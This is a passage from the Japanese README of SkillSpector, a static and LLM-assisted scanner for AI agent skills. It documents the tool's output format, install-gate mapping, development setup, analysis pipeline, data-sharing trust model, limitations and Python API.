トップレベルの形状は次のとおりです(この例は完全なLLMバックエンドスキャンを示しています。--no-llm の場合、metadata.llm_requested は false になります):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`。
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`。severity からマッピングされます: `LOW → SAFE`、`MEDIUM → CAUTION`、`HIGH`/`CRITICAL → DO_NOT_INSTALL`。
- `metadata.llm_error` は、LLM 分析が要求されたが利用できなかった場合にのみ表示されます。
- `metadata.inference_usage` には、プロバイダーがトークンカウンターを公開している場合、LLM 応答ごとにサニタイズされたレコードが 1 件含まれます。使用状況が利用できない場合は空のリストになります。SkillSpector は欠落したトークンを推定しません。プロンプトの合計にはキャッシュの読み取りと書き込みが含まれるため、ダウンストリームの価格計算でそれらのパーティションを安全に分離できます。`model_source` は、応答の識別情報が存在しないか曖昧な場合に、独立して識別されたプロバイダーモデルと、使用された正確な要求モデルを区別します。SkillSpector は現在 Anthropic のプロンプトキャッシュ制御を送信しないため、そのスキャン要求は個別の 5 分または 1 時間のキャッシュ書き込みティアを選択できません。TTL 固有の応答フィールドは、集約されたキャッシュ書き込みカウンターに防御的に正規化されます。
- 完全なプロベナンス、キャッシュ会計、プライバシー、フェイルクローズド取り込み、およびダウンストリーム価格契約については、[Inference usage telemetry](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) を参照してください。
- 問題ごとの完全な形状は [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py) の `Finding.to_dict()` で定義されています。上記のフィールドに依存し、追加のフィールドはベストエフォートとして扱ってください。
CI/IDE ツール向けに、`--format sarif` は SARIF 2.1.0 を出力します。
### 推奨ゲートマッピング
SkillSpector をインストールゲートとして使用する場合、推奨事項をアクションにマッピングします:
| `recommendation` | 推奨アクション |
|------------------|------------------|
| `SAFE` | 許可 |
| `CAUTION` | ユーザーにプロンプト / 警告 |
| `DO_NOT_INSTALL` | ブロック |
SkillSpector はスコアバンドと推奨事項を計算します。ゲートの厳格さ (例: CI で `CAUTION` がブロックするかどうか) は、統合ツールのポリシー決定です。
## 開発
### セットアップ
すべての `make` ターゲットは、仮想環境がすでに作成されアクティブ化されていることを前提としています。Makefile は **uv** が利用可能な場合はそれを使用し、そうでない場合は **pip** を使用します。```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
仕組み
SkillSpectorは2段階の検出パイプラインを使用します:
ステージ1: 静的解析
- 11個の静的アナライザーにわたる高速な正規表現ベースのパターンマッチング
- 危険な呼び出し(exec、eval、subprocessなど)を検出するASTベースの行動分析
- 依存関係における既知のCVEに対するOSV.dev経由のライブ脆弱性検索
- スキル内のアナライザー対象ファイルをすべてスキャン
- 高い再現率(ほとんどの問題を捕捉)
- 中程度の精度(一部の誤検知)
有効なルートレベルのOpenSSF Model Signing署名(skill.oms.sig)は、
コンポーネントインベントリにタイプoms_signatureとして保持されますが、静的解析およびLLMコンテンツ分析からは除外されます。
OMSバンドルには必然的に長いbase64エンコードされたペイロード、署名、証明書フィールドが含まれます。
一般的な難読化コードチェックでは、これらのフィールドを隠された実行可能コンテンツとして誤分類する可能性があります。
認識機能は最小限のOMS DSSE/in-toto構造をチェックしますが、署名、
証明書チェーン、透明性ログエントリ、署名者IDは検証しません。無効または認識されない署名
ファイルは通常どおりスキャンされます。
ステージ2: LLMセマンティック分析(オプション)
- コンテキストと意図を評価
- 誤検知をフィルタリング
- 人間が読める説明を提供
- 精度を約87%に向上
LLMプロンプトには、悪意のあるスキルが分析を操作するのを防ぐためのアンチジェイルブレイク保護が含まれています。
ライブ脆弱性検索(SC4)
SC4はOSV.dev APIを使用して、依存関係を完全なOpen Source Vulnerabilitiesデータベースと照合します — PyPIとnpmにわたる数万件のアドバイザリをカバーしています。
- APIキー不要 — OSV.devは無料で認証不要です。
- バッチクエリ — すべての依存関係が単一のHTTP呼び出しでチェックされます。
- 自動フォールバック — OSV.devに到達できない場合(エアギャップ/オフライン)、小さな組み込みのフォールバックリストが使用されます。
- キャッシュ — セッション中の冗長なAPI呼び出しを避けるため、結果は1時間メモリ内にキャッシュされます。
このツールは、ライブ脆弱性データのためにapi.osv.devへのアウトバウンドHTTPSアクセスを必要とします。それが利用できない場合、検出結果は静的なフォールバックリストに限定されます。
信頼モデルとデータ送信
SkillSpectorは多層防御であり、サンドボックスではありません。それに依存する前に、何をするのか、何をしないのかを理解してください:
- スキャン対象のスキルを実行することはありません。 すべての分析は静的(正規表現、Python AST、YARA)に加え、ファイル内容のオプションのLLM評価です — スキルのコードは決して実行されません。
- LLM分析は、アナライザー対象ファイルの内容を設定されたプロバイダーに送信します。 LLM分析が有効な場合(デフォルト)、ファイル内容はアクティブな
SKILLSPECTOR_PROVIDERエンドポイントに送信されます。認識されたOMS署名ファイルは除外されます。内容をローカルに保つには--no-llmを使用してください(静的解析のみ)。 - SC4は依存関係名をOSV.devに送信します。 サプライチェーンチェックは、スキルが宣言するパッケージ名とバージョンでOSV.devにクエリを実行し、既知のCVEを検索します。これはチェックの基本であり、
--no-llmでも実行されます。依存関係の座標(ファイル内容ではない)を送信し、APIキーを必要とせず、OSV.devに到達できない場合はバンドルされたリストにフォールバックします。 - ホストをサンドボックス化しません。 SkillSpectorは、スキルをインストールする前に危険なパターンにフラグを立てます。それでもインストールすることを選択したスキルを封じ込めたり隔離したりすることはありません。
制限事項
- 非英語コンテンツ: 他の言語のパターンを見逃す可能性があります
- 画像ベースの攻撃: 画像内のテキストを分析できません
- 暗号化/バイナリコード: コンパイル済みまたは暗号化されたコンテンツを分析できません
- ランタイム動作: 静的解析のみで、動的実行はありません
- オフラインSC4:
api.osv.devへのネットワークアクセスがない場合、SC4は小さな静的フォールバックリストを使用します
研究背景
「Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale」(Liu et al., 2026)の研究に基づいています:
- データセット: 主要マーケットプレイスからの42,447スキル
- 脆弱: 26.1%が少なくとも1つの脆弱性を含む
- 高深刻度: 5.2%が悪意のある意図を示す可能性が高い
- 主要な発見: 実行可能スクリプトを持つスキルは脆弱である可能性が2.12倍高い
Python API統合```python
from skillspector import graph
Invoke the LangGraph workflow
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
Access results
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## ライセンス
Apache License 2.0 - 詳細は [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) を参照してください。
## コントリビューション
コントリビューションを歓迎します!コントリビューションガイドラインをお読みのうえ、プルリクエストを送信してください。
## サポート
- **Issues**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)